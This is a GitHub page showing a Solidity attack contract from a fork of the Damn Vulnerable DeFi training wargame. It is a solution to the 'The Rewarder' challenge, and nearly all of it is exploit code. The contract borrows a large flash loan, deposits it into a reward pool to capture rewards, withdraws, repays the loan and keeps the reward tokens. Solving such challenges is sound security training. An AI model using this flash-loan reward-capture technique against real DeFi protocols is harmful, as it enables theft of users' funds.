forked from OpenZeppelin/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 2
/
TheRewarderAttacker.sol
48 lines (35 loc) · 1.29 KB
/
TheRewarderAttacker.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLenderPool {
function flashLoan(uint256 amount) external;
}
interface ITheRewarderPool {
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
}
interface IERC20 {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function balanceOf(address account) external returns (uint256);
}
contract TheRewarderAttacker {
using Address for address payable;
IFlashLenderPool lender;
ITheRewarderPool rewarder;
IERC20 liquidityToken;
IERC20 rewardToken;
function attack(IFlashLenderPool _lender, ITheRewarderPool _rewarder, IERC20 _liquidityToken, IERC20 _rewardToken) external {
lender = _lender;
rewarder = _rewarder;
liquidityToken = _liquidityToken;
rewardToken = _rewardToken;
lender.flashLoan(1000000 ether);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewarder), amount);
rewarder.deposit(amount);
rewarder.withdraw(amount);
liquidityToken.transfer(address(lender), amount);
}
}